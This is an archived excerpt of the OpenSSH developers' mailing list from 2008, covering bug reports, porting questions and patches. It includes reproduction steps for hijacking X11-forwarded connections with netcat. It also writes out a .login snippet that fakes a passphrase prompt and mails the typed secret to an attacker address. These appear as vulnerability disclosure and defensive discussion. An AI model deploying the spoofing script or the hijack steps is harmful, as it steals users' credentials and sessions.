at sway-desktop:~# ps -ef|grep sshd root 5415 1 0 14:21 ? 00:00:00 /home/sway/openssh-5.0p1/sshd -p 5555 root 5832 5415 0 14:34 ? 00:00:00 sshd: root at pts/0 root at sway-desktop:~# kill -19 5832 // 19 means SIGSTOP I waited more than 10 miniutes, the ssh still hangs there without giving any information about "Connection timeout"... So i sent a SIGCONT to the sshd server, and the ssh come back alive. We debugged into the code, found out that everytime the ssh did check the variable "keep_alive_timeouts" with the ServerAliveCountMax value after ServerAliveInterval seconds to see if keep_alive_timeouts > ServerAliveCountMax, if so , ssh will close the connection and give the "connection timeout" information, else it will increment the keep_alive_timeouts by 1. After Checking, ssh will jump into the "packet_read_poll_seqnr(u_int32_t *seqnr_p)" function, and there it will reset the keep_alive_timeouts variable to "0" again which actually caused the problem. Can you check if it is a bug with openssh50's code or not?Thanks very much. _________________________________________________________________ Windows Live Photo gallery ????????????????????????????? http://get.live.cn/product/photo.html From sway2004009 at hotmail.com Thu May 15 19:03:06 2008 From: sway2004009 at hotmail.com (=?utf-8?Q?=E6=96=BD=E5=A8=81?=) Date: Thu, 15 May 2008 17:03:06 +0800 Subject: "possible hijacking of X11-forwarded connections" bug has not been fixed completely Message-ID: leanneHi OpenSSH team, I am still able to reproduce this problem with openssh50 code both on hpux. Seems like OpenSSH didn't fix this problem completely. how to reproduce: 1. root at sshpa4# uname -aHP-UX sshpa4 B.11.23 U 9000/800 3267743753 unlimited-user license 2. sshd_config X11Forwarding yesX11DisplayOffset 10X11UseLocalhost no // must not use "yes" to bind to localhost 3. /opt/ssh/sbin/sshd 4. log to sshpa4 from another terminal with normal user "sway" and start "nc" sway at sshpa4# /opt/netcat/bin/nc -l -p 6010 -v -v -s sshpa4.chn.hp.comlistening on [16.157.129.223] 6010 ... 5. logon to sshpa4 with another "leanne" with X11 forwarding leanne at sshpa4# echo $DISPLAY16.157.129.223:10.0 leanne at sshpa4# netstat -an|grep 6010tcp 0 0 16.157.129.223.6010 *.* LISTENtcp 0 0 *.6010 *.* LISTENtcp 0 0 *.6010 *.* LISTENtcp 0 0 *.6010 *.* LISTEN 6. user sway2 starts any X program will end with being hijacked by user "sway" leanne at sshpa4# xclock 7. hijacked by user "sway" sway at sshpa4# /opt/netcat/bin/nc -l -p 6010 -v -v -s sshpa4.chn.hp.comlistening on [16.157.129.223] 6010 ...connect to [16.157.129.223] from sshpa4.chn.hp.com [16.157.129.223] 54765B MIT-MAGIC-COOKIE-1?bs?????G???!?? I found that this problem could only happen when the "X11UseLocalhost no" is set in the sshd_config. I checked the code, found that there might be something wrong with the "channel_set_reuseaddr(sock);" function which is called in the function x11_create_display_inet in file channels.c Can someone check this out for me , thanks. _________________________________________________________________ ???MSN??????????????????? http://mobile.msn.com.cn/ From dtucker at zip.com.au Thu May 15 22:08:15 2008 From: dtucker at zip.com.au (Darren Tucker) Date: Thu, 15 May 2008 22:08:15 +1000 Subject: "possible hijacking of X11-forwarded connections" bug has not been fixed completely In-Reply-To: References: Message-ID: <20080515120815.GA7859@gate.dtucker.net> On Thu, May 15, 2008 at 05:03:06PM +0800, ?????? wrote: > > Hi OpenSSH team, > > I am still able to reproduce this problem with openssh50 code both on hpux. > Seems like OpenSSH didn't fix this problem completely. > > how to reproduce: [...] > I found that this problem could only happen when the "X11UseLocalhost > no" is set in the sshd_config. > > I checked the code, found that there might be something wrong with the > "channel_set_reuseaddr(sock);" function which is called in the function > x11_create_display_inet in file channels.c It looks like the semantics of SO_REUSEADDR are different between platforms. From what I can gather, SysV based systems don't prevent processes with different uids from binding to the same port, whereas BSD and Linux based systems do. I'm also curious about why the loopback interface behaves differently. If you comment out the call, what difference does it make? It will probably also prevent use of ports that are still in TIME_WAIT, so it may reduce the number of ports available to sshd. Index: channels.c =================================================================== RCS file: /usr/local/src/security/openssh/cvs/openssh/channels.c,v retrieving revision 1.257 diff -u -p -r1.257 channels.c --- channels.c 2 Apr 2008 21:43:57 -0000 1.257 +++ channels.c 15 May 2008 11:36:34 -0000 @@ -2901,7 +2901,7 @@ x11_create_display_inet(int x11_display_ error("setsockopt IPV6_V6ONLY: %.100s", strerror(errno)); } #endif - channel_set_reuseaddr(sock); + /* channel_set_reuseaddr(sock); */ if (bind(sock, ai->ai_addr, ai->ai_addrlen) < 0) { debug2("bind port %d: %.100s", port, strerror(errno)); close(sock); -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From sway2004009 at hotmail.com Fri May 16 14:57:00 2008 From: sway2004009 at hotmail.com (=?gb2312?B?yqnN/g==?=) Date: Fri, 16 May 2008 12:57:00 +0800 Subject: "possible hijacking of X11-forwarded connections" bug has not been fixed completely In-Reply-To: <20080515120815.GA7859@gate.dtucker.net> References: <20080515120815.GA7859@gate.dtucker.net> Message-ID: Hi, "comment out the channel_set_reuseaddr(sock); " is exactly what i tried. And it worked just fine, but i am not sure if it will cause some kind of side effects. ... i am not sure if it will reduce the ports that could be used by sshd. As the loopback address behaves differently, I think it is because of the following code. if (x11_use_localhost) { if (num_socks == NUM_SOCKS) break; } else { break; } > Date: Thu, 15 May 2008 22:08:15 +1000 > From: dtucker at zip.com.au > To: sway2004009 at hotmail.com > CC: openssh-unix-dev at mindrot.org > Subject: Re: "possible hijacking of X11-forwarded connections" bug has not been fixed completely > > On Thu, May 15, 2008 at 05:03:06PM +0800, ?????? wrote: > > > > Hi OpenSSH team, > > > > I am still able to reproduce this problem with openssh50 code both on hpux. > > Seems like OpenSSH didn't fix this problem completely. > > > > how to reproduce: > [...] > > I found that this problem could only happen when the "X11UseLocalhost > > no" is set in the sshd_config. > > > > I checked the code, found that there might be something wrong with the > > "channel_set_reuseaddr(sock);" function which is called in the function > > x11_create_display_inet in file channels.c > > It looks like the semantics of SO_REUSEADDR are different between > platforms. From what I can gather, SysV based systems don't prevent > processes with different uids from binding to the same port, whereas > BSD and Linux based systems do. > > I'm also curious about why the loopback interface behaves differently. > > If you comment out the call, what difference does it make? It will > probably also prevent use of ports that are still in TIME_WAIT, so it > may reduce the number of ports available to sshd. > > Index: channels.c > =================================================================== > RCS file: /usr/local/src/security/openssh/cvs/openssh/channels.c,v > retrieving revision 1.257 > diff -u -p -r1.257 channels.c > --- channels.c 2 Apr 2008 21:43:57 -0000 1.257 > +++ channels.c 15 May 2008 11:36:34 -0000 > @@ -2901,7 +2901,7 @@ x11_create_display_inet(int x11_display_ > error("setsockopt IPV6_V6ONLY: %.100s", strerror(errno)); > } > #endif > - channel_set_reuseaddr(sock); > + /* channel_set_reuseaddr(sock); */ > if (bind(sock, ai->ai_addr, ai->ai_addrlen) < 0) { > debug2("bind port %d: %.100s", port, strerror(errno)); > close(sock); > > -- > Darren Tucker (dtucker at zip.com.au) > GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 > Good judgement comes with experience. Unfortunately, the experience > usually comes from bad judgement. _________________________________________________________________ ?????????live mail???????? http://get.live.cn/product/mail.html From lists.john at gmail.com Sat May 17 02:38:05 2008 From: lists.john at gmail.com (john) Date: Fri, 16 May 2008 09:38:05 -0700 Subject: openssh-5.0p1: sftp transfer logging doesn't appear to work with chroot environment [SOLVED] In-Reply-To: <20080513004918.12232.qmail@cdy.org> References: <2be970b50805121356v13388924pd3aff6a90aafd745@mail.gmail.com> <20080513004918.12232.qmail@cdy.org> Message-ID: <2be970b50805160938h1608e0e7pc784b21e2da4b87e@mail.gmail.com> >> Since I can imagine this being a frequent >> request/complaint/misunderstanding about the way chrooting works >> with sftp it might save people a lot of time in the future if the >> man page gave a little note and example of how to log from within >> an sftp chroot. > > I think that's a good idea! Can you send a patch for the manpage text? > > > //Peter I'd be happy to Peter, where in the man page do you think it out to appear? John From buhr+openssh at asaurus.net Sun May 18 08:11:27 2008 From: buhr+openssh at asaurus.net (Kevin Buhr) Date: Sat, 17 May 2008 17:11:27 -0500 Subject: Trick user to send private key password to compromised host In-Reply-To: <482958E5.9000603@telbiomed.at> References: <482958E5.9000603@telbiomed.at> Message-ID: <87ve1cwpgw.fsf@buddha.mad.asaurus.net> Hi, Roman, I commented on this issue quite some time ago. See: http://marc.info/?t=95066120400001&r=1&w=2 It didn't generate much interest at the time, but I probably explained it poorly. I agree with you that it is not a show-stopper, but I still think it represents a significant security problem. I actually had a more involved conversation off-list with Dave Dykstra, but it never found its way back onto the list. At the risk of boring everyone, I've attached an infodump of my half of the private conversation I had with Dave, clarifying some possible problematic scenarios. To be absolutely clear, the threat model here is that the user is on an uncompromised host connecting to a compromised host (obviously without realizing that fact). The question is how the compromised host might go about stealing the user's passphrase. It's incomprehensible to me that someone would use a non-empty passphrase and then argue that the passphrase need not be safeguarded. (If you don't think passphrases are worth securing, then stop using them: they are merely a nuisance, otherwise.) Anyway, I'll add my voice to Roman and Jefferson's that at least three OpenSSH users think it's important to defend our passphrases against this threat model. The difficulty is how to incorporate a simple (though not foolproof) fix, like: buhr at virgo:~$ ssh taurus Enter passphrase for key '/u/buhr/.ssh/id_rsa': Enter passphrase for key '/u/buhr/.ssh/id_rsa': OpenSSH connection secured. <-- new message Welcome to taurus! buhr at taurus:~$ when there are applications that might rely on the SSH client not printing anything locally when authenticating with a passphrase-less key. Anyway, my infodump from 8 years ago follows in the hopes that it might be helpful. I just noticed David Desrosiers' post: so, obviously, this sort of attack isn't just theoretical. * * * [ from my first Feb 16, 2000 off-list reply to Dave ] My concern is that the user can be *tricked* into giving the passphrase to the remote machine by a simple spoof attack. When the first line of text the user sees is: Enter passphrase for RSA key 'user at untrusted.host': he or she will naturally enter a passphrase. How can the user distinguish between (1) the SSH client on their local, trusted machine prompting them for a passphrase during the normal course of authentication; (2) the remote, presumably compromised, machine sending a bogus passphrase prompt after authenticating the user's client silently (in some manner than requires no passphrase or password, say through RSA host-based authentication)? As you point out, the SSH protocol has all the mechanisms in place to allow a user to connect from a trusted local machine to an untrusted remote machine via RSA authentication such that the untrusted machine need only know public information: the other host's public key and the user's public key. However, the current user interface does not make it clear when a user has passed from the trusted security domain of the local machine to the untrusted security domain of the remote machine. When a string of text---a passphrase prompt, an "Incorrect passphrase" message, or even: Secure connection to xxxx refused; reverting to insecure method. Using rsh. WARNING: Connection will not be encrypted. untrusted.host: Connection refused trustedhostprompt$ ---appears on a user's screen, there's no obvious way to tell what host it really comes from. Some cautionary text in the SSH documentation and a special "--untrusted-host" command line option (to switch to a possibly inconvenient, but unspoofable, user-interface protocol) might be the least intrusive way to address my concern. * * * [ from a second off-list Feb 16, 2000 reply to Dave ] I am not talking about a man-in-the-middle attack with a phony remote machine. I am talking about a user on a trusted host trying to connect to an untrusted and possibly compromised host. The untrusted host *is* the host it claims to be. However, it's been compromised (or at least the user doesn't trust it), and the user does not want to give it any secret information. Let me give you a complete scenario: Suppose I have compromised the user account "victim" on the host "flakey". That is, I am able to log in, as user "victim", on this host whenever I wish. Through careful observation, I determine that the real "victim" logs in to "flakey" from hosts "huey", "luey", and "dewey" using an RSA key named "victim at duckhosts", and I assume that "victim" is prompted for a passphrase when he does this. Now, I add the lines: huey luey dewey to "victim"'s ".shosts" file on "flakey". The next time he tries to establish an SSH connection to "flakey" from one of these three hosts, he will *not* be prompted for a passphrase. Normally, the first thing he'd see would be the login banner, and he'd probably get suspicious. However, let's say---on "flakey"---I create a ".hushlogin" file in "victim"'s home directory, and I add the following to the end of his ".login" file: echo -n "Enter passphrase for RSA key 'victim at duckhosts': " stty -echo read passphrase echo "$passphrase" | mail -s 'my passphrase' attacker at another.account >& /dev/null echo cat /etc/motd stty echo Now "victim" is sitting on his trusted machine "huey". He suspects that "flakey" has been compromised, so he decides to log in via SSH. What does he see? huey% ssh flakey Enter passphrase for RSA key 'victim at duckhosts': Welcome to "flakey". It's been 24 days since the last compromise! flakey% There's no message about a man-in-the-middle attack because "flakey" hasn't been replaced, it's merely been compromised. "flakey"'s legitimate private key (matching the public key stored in ".ssh/known_hosts" on "huey") is still stored on "flakey" in "/etc/ssh_host_key", and---ironically---I still don't know it, because I've only cracked a user account, not the root account. The user's SSH client never prompts him for a passphrase because "huey" appears in the ".shosts" file and "huey"'s public key is in ".ssh/known_hosts". Based on RSA host authentication, the user is legitimately permitted to connect to "flakey" without providing a password or a passphrase, so his client lets him. However, the user doesn't know this---he expects to be prompted for a passphrase, "flakey" obliges with a bogus prompt, and I pick up "victim"'s secret passphrase from my mailbox at my convenience. "victim" feels assured that he has safely authenticated to "flakey" (even though he doesn't trust "flakey") via RSA authentication without giving "flakey" any secret information. When he types in his passphrase, he believes he is giving secret information to his trusted SSH client which will *only* provide non-secret information to "flakey". He's wrong; he's given his secret passphrase to "flakey" (and to me) without knowing it. Is this the end of the world? No. I only have his passphrase, and hopefully it doesn't unlock any private key to which I have access. Yet, I've still managed to collect supposedly secret information from my "victim". When would a "victim" ever realistically want to connect from a trusted host to an untrusted host? I can think of two real-world examples: a system administrator trying to safely connect to a machine suspected of being compromised; or a free-software developer logging in to a common development machine he has no authority or control over. With the above-mentioned attack, the user can be tricked into giving his or her passphrase to an attacker who has compromised the remote host. -- Kevin Buhr From djm at mindrot.org Tue May 20 11:47:40 2008 From: djm at mindrot.org (Damien Miller) Date: Tue, 20 May 2008 11:47:40 +1000 (EST) Subject: Trick user to send private key password to compromised host In-Reply-To: <87ve1cwpgw.fsf@buddha.mad.asaurus.net> References: <482958E5.9000603@telbiomed.at> <87ve1cwpgw.fsf@buddha.mad.asaurus.net> Message-ID: On Sat, 17 May 2008, Kevin Buhr wrote: > Hi, Roman, > > I commented on this issue quite some time ago. See: > > http://marc.info/?t=95066120400001&r=1&w=2 > > It didn't generate much interest at the time, but I probably explained > it poorly. I agree with you that it is not a show-stopper, but I > still think it represents a significant security problem. Simple workaround: set IdentityFIle=none in the system-wide ssh_config and make your users use ssh-agent. Fixing this is not as simple as putting a "you are now authenticated" message somewhere. Keyboard-interactive authentication can display arbitrary prompts, so a compromised server may display the spoofed question prior to authentication success. Furthermore, in a ttyful environment, connections any warning message can be erased through terminal manipulation. A so-compromised server could also pretend to fail pubkey authentication entirely and ask for the user's password, which seems to be a more grave threat (and completely impossible to defend against from the client side). -d From roman.fiedler at telbiomed.at Tue May 20 17:56:02 2008 From: roman.fiedler at telbiomed.at (Roman Fiedler) Date: Tue, 20 May 2008 09:56:02 +0200 Subject: Trick user to send private key password to compromised host In-Reply-To: References: <482958E5.9000603@telbiomed.at> <87ve1cwpgw.fsf@buddha.mad.asaurus.net> Message-ID: <48328412.5000409@telbiomed.at> Hi Damien and Kevin, > On Sat, 17 May 2008, Kevin Buhr wrote: > >> Hi, Roman, >> >> I commented on this issue quite some time ago. See: >> >> http://marc.info/?t=95066120400001&r=1&w=2 >> >> It didn't generate much interest at the time, but I probably explained >> it poorly. I agree with you that it is not a show-stopper, but I >> still think it represents a significant security problem. Bad, some new scenarios, I did not think about previously. > Simple workaround: set IdentityFIle=none in the system-wide ssh_config > and make your users use ssh-agent. Yes, this works, and I tried also the -v (verbose) thing. After making my mind up over the weekend, I think of proposing a patch for the --paranoid option, which is somehow parallel to the standard debugging options. I want to modify some debugging if conditions, so that they write the log line if (loglevel>DEBUG_SOMELEVEL)||paranoidFlag. A login procedure with paranoid could look like that: # ssh --paranoid root at localhost Connecting to localhost [127.0.0.1] port 22. Found host key in /home/admin/.ssh/known_hosts:1 Authentications that can continue: publickey (/home/admin/.ssh/identity) Authentication succeeded (publickey), entering interactive session. Last login: Mon May 19 14:11:38 2008 from 192.168.160.31 The last line is already from server. > Fixing this is not as simple as putting a "you are now authenticated" > message somewhere. Keyboard-interactive authentication can display > arbitrary prompts, so a compromised server may display the spoofed > question prior to authentication success. > > Furthermore, in a ttyful environment, connections any warning message > can be erased through terminal manipulation. That's nasty, I did not think about that. But * interactive ssh cannot ask for additional passwords, so it will fail if login process missbehaves. So no additional messages are usefull/wanted here, and speed matters * --paranoid: used mainly from commandline/tty, speed does not matter that much. Ssh could write all local messages, wait 1 sec so that one can take a short look (paranoids are fast) and then move the messages up above the first line of the screen. The ssh tty output would then start in the first line, any attempt to modify/overwrite the local ssh messages would cause their duplication (the original ones first, the modified ones afterwards). Does someone know about tty controls, is such implementation possible/wise? > A so-compromised server could also pretend to fail pubkey authentication > entirely and ask for the user's password, which seems to be a more grave > threat (and completely impossible to defend against from the client side). That's true, but if a server refuses my pubkey, I'll go to the console directly (or RAC). > -d > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev From dan at nf15.lightwave.net.ru Wed May 21 00:01:42 2008 From: dan at nf15.lightwave.net.ru (Dan Yefimov) Date: Tue, 20 May 2008 18:01:42 +0400 (MSD) Subject: Trick user to send private key password to compromised host In-Reply-To: Message-ID: On Tue, 20 May 2008, Damien Miller wrote: > Fixing this is not as simple as putting a "you are now authenticated" > message somewhere. Keyboard-interactive authentication can display > arbitrary prompts, so a compromised server may display the spoofed > question prior to authentication success. Sure, but IIRC we consider the case of requesting the private key passphrase for public key authentication. As soon as public key authentication succeeds and the client displays "Authentication succeeded" message, any other passphrase prompts can be certainly assumed to be bogus ones. > Furthermore, in a ttyful environment, connections any warning message > can be erased through terminal manipulation. > Sure again, but that could be to some degree worked around by using bell character in "Authentication succeeded" message and documenting that. For keyboard-interactive prompts, as a countermeasure, control characters can be either quoted or even stripped before displaying prompts. > A so-compromised server could also pretend to fail pubkey authentication > entirely and ask for the user's password, which seems to be a more grave > threat (and completely impossible to defend against from the client side). > Nothing can completely defend against compromised host actions. But displaying a message that public key authentication has failed can at least give careful user a hint that something is going wrong. Something is better than nothing. -- Sincerely Your, Dan. From sridevi at ceeyes.com Tue May 20 22:25:44 2008 From: sridevi at ceeyes.com (sridevi) Date: Tue, 20 May 2008 17:55:44 +0530 Subject: ssh implementation Message-ID: <20080520131447.4ABAE69A8F@natsu.mindrot.org> hello, This is sridevi from ceeyes software technologies.I have a plan to implement this ssh opensource code and to port into vxworks-6.4.But there is no ssh support for vxworks-6.4.Is it possible to port the opensource code into vxworks-6.4.And also i noticed that key files in /etc/ssh/.How can i get those related files in vxworks-6.4.Give me a suggestion regarding this. Thank you, sridevi From sridevi at ceeyes.com Wed May 21 14:22:10 2008 From: sridevi at ceeyes.com (sridevi) Date: Wed, 21 May 2008 09:52:10 +0530 Subject: SSH IMPLEMENTATION Message-ID: <20080521051007.96AB469AA1@natsu.mindrot.org> hi, This is sridevi from ceeyes software technologies.here i am workins as associate software engineer.I want to port these openssh source code in vxworks-6.4.Is it possible to port it to vxworks-6.4.I have a doubt becoz there is no support of ssh in vxworks-6.4.In linux i found a key files in/etc/ssh.How can i get such files in vxworks-6.4.Give me a suggestion regarding this. Thank you, sridevi From stuge-openssh-unix-dev at cdy.org Wed May 21 18:09:49 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Wed, 21 May 2008 10:09:49 +0200 Subject: ssh implementation In-Reply-To: <20080520131447.4ABAE69A8F@natsu.mindrot.org> References: <20080520131447.4ABAE69A8F@natsu.mindrot.org> Message-ID: <20080521080949.4545.qmail@cdy.org> Hi Sridevi, On Tue, May 20, 2008 at 05:55:44PM +0530, sridevi wrote: > hello, > This is sridevi from ceeyes software technologies.I have a plan to > implement this ssh opensource code and to port into vxworks-6.4.But > there is no ssh support for vxworks-6.4.Is it possible to port the > opensource code into vxworks-6.4. Everything is possible, but as far as I know, vxworks is not very similar to POSIX, which means that many of the primitives needed by OpenSSH-portable will be missing. Of course, vxworks probably has other ways to accomplish similar things, but that means you have a lot of work ahead of you. > And also i noticed that key files in /etc/ssh/.How can i get those > related files in vxworks-6.4.Give me a suggestion regarding this. This is one such thing. OpenSSH assumes a unixish file system. Since (I guess from your description) vxworks does not have one, you will have to change OpenSSH so that it can use the vxworks file system. If your goal is to implement an SSH client I would suggest looking at some other SSH implementation that would fit your needs better. I know of at least two portable SSH client codebases; libssh2 and PuTTY. While they do not have the exact same feature set of OpenSSH maybe they can work for you. If your goal is to implement an SSH server, there are other options, (dropbear is one small SSH server) but I have no experience with the source code there. There have been some ideas for a server mode in libssh2, so if all else fails maybe that would be the shortest path to the goal. //Peter From ajadav at gmail.com Thu May 22 03:50:19 2008 From: ajadav at gmail.com (Asheesh Jadav) Date: Wed, 21 May 2008 10:50:19 -0700 Subject: Why exec subsystem from shell and not directly? Message-ID: Hi, This question is probably not specific to SSH but SSH uses this approach so I'm posting here. When SSHD receives a request to run a subsystem (say sftp), why does it FORK and EXEC a Shell with "-c /usr/sbin/sftp-server" instead of FORKing and EXECing "/usr/sbin/sftp-sever" directly? What value does execing the shell add? Appeciate any info or pointers. TIA From stuge-openssh-unix-dev at cdy.org Thu May 22 08:54:09 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Thu, 22 May 2008 00:54:09 +0200 Subject: Why exec subsystem from shell and not directly? In-Reply-To: References: Message-ID: <20080521225409.2452.qmail@cdy.org> On Wed, May 21, 2008 at 10:50:19AM -0700, Asheesh Jadav wrote: > What value does execing the shell add? The system administrator's policy as set by the shell can still be enforced. The user's preferences are still honored. //Peter From darose at darose.net Fri May 23 00:44:10 2008 From: darose at darose.net (David Rosenstrauch) Date: Thu, 22 May 2008 10:44:10 -0400 Subject: secureshell@securityfocus.com mailing list down? Message-ID: <483586BA.7030901@darose.net> I joined the secureshell at securityfocus.com mailing list yesterday, and posted a message, but it doesn't seem like it ever made it to the list. Anyone know if it's down? Tnx, DR From toswetha08 at yahoo.com Thu May 22 14:43:34 2008 From: toswetha08 at yahoo.com (Swetha Goshal) Date: Wed, 21 May 2008 21:43:34 -0700 (PDT) Subject: ssh porting Message-ID: <634433.42739.qm@web46110.mail.sp1.yahoo.com> I am swetha doing final btech.i want to do project regarding ssh.I want to port this openssh open source code to vxworks-6.4.Is it possible to port it to vxworks-6.4?why becoz there is no support for ssh in vxworks-6.4.And also i got key files /etc/ssh/ in linux.how can i got such type of files in vxworks-6.4.Please give me a suggestion regardind this. Thank you swetha. From stuge-openssh-unix-dev at cdy.org Fri May 23 21:29:51 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Fri, 23 May 2008 13:29:51 +0200 Subject: ssh porting In-Reply-To: <634433.42739.qm@web46110.mail.sp1.yahoo.com> References: <634433.42739.qm@web46110.mail.sp1.yahoo.com> Message-ID: <20080523112951.27917.qmail@cdy.org> Hi again Swetha. On Wed, May 21, 2008 at 09:43:34PM -0700, Swetha Goshal wrote: > I am swetha doing final btech. Oh, it's a school project. > i want to do project regarding ssh.I want to port this openssh open > source code to vxworks-6.4. We wish you the best of luck. > Is it possible to port it to vxworks-6.4? Yes, but it is a very big project, since vxworks does not, as far as I know, provide a POSIX-compliant or even POSIX-like environment. > why becoz there is no support for ssh in vxworks-6.4.And also i got > key files /etc/ssh/ in linux.how can i got such type of files in > vxworks-6.4. We do not know. You are introducing the vxworks idea, so this is just one of a few hundred or so (my guess) questions that you will have to find the answer to, in order to successfully make OpenSSH run on vxworks. > Please give me a suggestion regardind this. I already did, in a previous message. Please look in the list archive if you did not receive it. Basically, look for another SSH implementation. OpenSSH is probably not the best choice for SSH on vxworks. //Peter From gagnocg at mac.com Sun May 25 13:31:55 2008 From: gagnocg at mac.com (Chuck Gagnon) Date: Sat, 24 May 2008 22:31:55 -0500 Subject: patch to add utmps support for HP-UX 11.23 In-Reply-To: <25DD4621-96D6-49A0-8C2E-9496FADA50EB@mac.com> References: <200E9CCA-5B85-45A1-93B6-4D9B54D36B89@mac.com> <25DD4621-96D6-49A0-8C2E-9496FADA50EB@mac.com> Message-ID: OK, the issues with 11.31 are going to take a lot longer than I figured, so rather than hold off until I fix that I've put up a patch against openssh-5.0p1 at: http://homepage.mac.com/gagnocg/downloads/openssh-5.0p1.patch In addition to adding the utmps support this also adds some other HP- UX fixes and the ability to do "make depot" much like the "make package" that already exists (uses the same local config file with new variables where appropriate). I have used applied this patch and built on HP-UX 11.00, 11.23 (both PA-RISC and ia64), Solaris 8-10 and my patch has not caused any issues but does fix the lack of logging on 11.23. There is an issue when building on 11.23 PA-RISC using HP's compiler but it is unrelated to this patch, it has to do with one of the macro definitions leaving a lone ; in a struct and the compiler balks at it (though on ia64 the same ; ends up there and it is fine with it, but I'm using different versions of the compiler do to licensing which probably explains the whole thing). Anyway, comments and criticisms welcome. By the way, I did a diff against 5.0p1 mainly because I can't do a cvs diff with a -N to add new files. Anyone know if opencvs will be getting this ability? Chuck On Apr 30, 2008, at 5:35 PM, Chuck Gagnon wrote: > Sorry guys, > While my patch fixes logging on 11.23 there are some major issues > when building on 11.31 (basically it builds fine and while all the > client code works as expected sshd just hangs on connects waiting > for communication it never sees). > > Since I'm not happy with the way I did the first patch (works fine > but does not match the rest of the [uw]tmp code well enough for me, > please hold off even looking until I get back with an over all > 11.23 & 11.31 patch. > > I do have the utmps code all inline with the rest already but since > 11.31 still is DOA I want to incorporate that fix in and just make > it an overall HP-UX patch (I will test on 11.00, 11.11, 11.23 and > 11.31 which is all the versions I have access to). > > Sorry for the noise. > > > On Apr 26, 2008, at 7:09 PM, Chuck Gagnon wrote: >> Starting with 11.23 HP is using utmps as if we didn't already have >> enough (utmp, wtmp, utmpx, wtmpx,... did I miss any??) . >> >> Anyway, I added support for it in (before this patch no logins >> from ssh were showing up on my 11.23 and 11.31 systems). >> >> http://homepage.mac.com/gagnocg/downloads/hpux-cvs.diff >> >> > From dereks at realloc.net Mon May 26 06:35:58 2008 From: dereks at realloc.net (Derek Simkowiak) Date: Sun, 25 May 2008 13:35:58 -0700 Subject: OpenSSH + chroot + SELinux = broke Message-ID: <4839CDAE.9020903@realloc.net> Hello, First, a big thank you to the OpenSSH devs. _ /Problem Summary:/ _ Chroot and SELinux don't get along. This affects both the new (official) ChrootDirectory feature, as well as the older (3rd party) patch at http://chrootssh.sourceforge.net/. _ /History and repro:/ _ On March 21, 2008, Alexandre Rossi posted to this list with the subject: "*ChrootDirectory fails if compiled with SELinux support (whether or not using SELinux)*", and it can be read here: http://www.gossamer-threads.com/lists/openssh/dev/42475 Alexandre described an SELinux failure with the following error message: ssh_selinux_getctxbyname: ssh_selinux_getctxbyname: security_getenforce() failed As far as I know, that bug still exists and has not been fixed. I am now getting that exact same error message from SELinux, however, I am not using the ChrootDirectory feature. Instead, I am using the chroot patch from this location: http://chrootssh.sourceforge.net/ This patch works differently than the new ChrootDirectory, but does a similar thing. It calls chroot() (and modifies pw->pw_dir) before calling the SELinux function ssh_selinux_setup_exec_context(pw->pw_name) in session.c, in function do_setusercontext(). I get the error if I try to set up a user with a chroot'd home directory. (I do this by adding "/./" into a user's home dir, which is how that patch works... see the patch docs for details on usage.) One possible lead as to the cause of this bug is in the debug output. If I do /not/ use a chroot'd home directory for my user, then everything works, and the debug output shows this line: debug1: SELinux support disabled But then, if I /do/ add the "/./" to the user's home dir (to enable the chroot feature of that patch), and try again: debug1: SELinux support enabled ssh_selinux_getctxbyname: ssh_selinux_getctxbyname: security_getenforce() failed I do not understand why using (or not using) a chroot'd directory can cause SELinux support to become either "enabled" or "disabled". I thought that SELinux was only a compile-time option, not a runtime option...? (Obviously, I compiled with SELinux support. I compiled from the default Ubuntu package openssh-server_4.7p1-8ubuntu1.2_i386.deb, with just the one chroot patch applied.) I thought that perhaps the chroot is preventing sshd from finding the sshd_config file, thus causing a runtime option to default back to "SELinux support enabled", but the sshd_config does not say anything about SELinux: root at cst2:/etc/ssh# grep -i selinux * root at cst2:/etc/ssh# This observation also concurs with Alexandre's report, because he said this failure is only for "accounts where the new ChrootDirectory option is active". I know C and I'd be happy to work on a fix, but I haven't coded with SELinux before, so I'd prefer to have an SELinux expert take a look at this. After all, it's security-related code that I don't fully understand... :) _ /Note and question about ChrootDirectory:/_ Finally, I want to throw in a quick end-user criticism of the new ChrootDirectory feature. I need chroot() support in OpenSSH, but this new ChrootDirectory option is useless to me (and, I submit, to most other people who need chroot support in SSH). I am using a standard "shared server" webhosting setup. User files are based on the $HOME dir, which is used by Apache's UserDir (~/public_html/), suEXEC (which _/requires/_ that users' files be under their $HOME), procmail (to find ~/.procmailrc), Courier-IMAP (to find ~/Maildir/), SpamAssassin (to find ~/.spamassassin), and other applications (like SquirrelMail, TMDA, etc.) that expect to find per-user files in the user's $HOME. The fact that the new ChrootDirectory requires me to set some /other/, not-related-to-a-user's-home directory as the "file sharing" top-level directory, and furthermore, that the directory must be owned by root (and not the user who is logging in), makes it useless for me. It doesn't integrate with any of the other applications that support per-user files sitting in $HOME. Other users made this same complaint in Feb. when ChrootDirectory was announced, and I did not see a solution posted. (The best answer I saw was from jirib, who tried out the feature and then suggested changing all of the user's home directories to go under ChrootDirectory. That is not a workable solution for me. See http://undeadly.org/cgi?action=article&sid=20080220110039&pid=28 ) As a contrasting example, consider the patch mentioned above. It has been used (in the wild) since OpenSSH version 3.2.2. It chroot's a user's home at whatever directory level you specify, using a special "/./" flag. It's also supported natively by ISPConfig, an Open Source web hosting management tool (similar to cPanel). It would be far more useful for me if that 3rd-party patch were shipped with OpenSSH as a compile-time option. The ChrootDirectory feature can be dropped, from where I'm standing. Have I misunderstood the ChrootDirectory option? Thank you, Derek Simkowiak From dtucker at zip.com.au Tue May 27 11:28:15 2008 From: dtucker at zip.com.au (Darren Tucker) Date: Tue, 27 May 2008 11:28:15 +1000 Subject: OpenSSH + chroot + SELinux = broke In-Reply-To: <4839CDAE.9020903@realloc.net> References: <4839CDAE.9020903@realloc.net> Message-ID: <483B63AF.9030500@zip.com.au> Derek Simkowiak wrote: > Hello, > First, a big thank you to the OpenSSH devs. > > _ /Problem Summary:/ > _ Chroot and SELinux don't get along. This affects both the 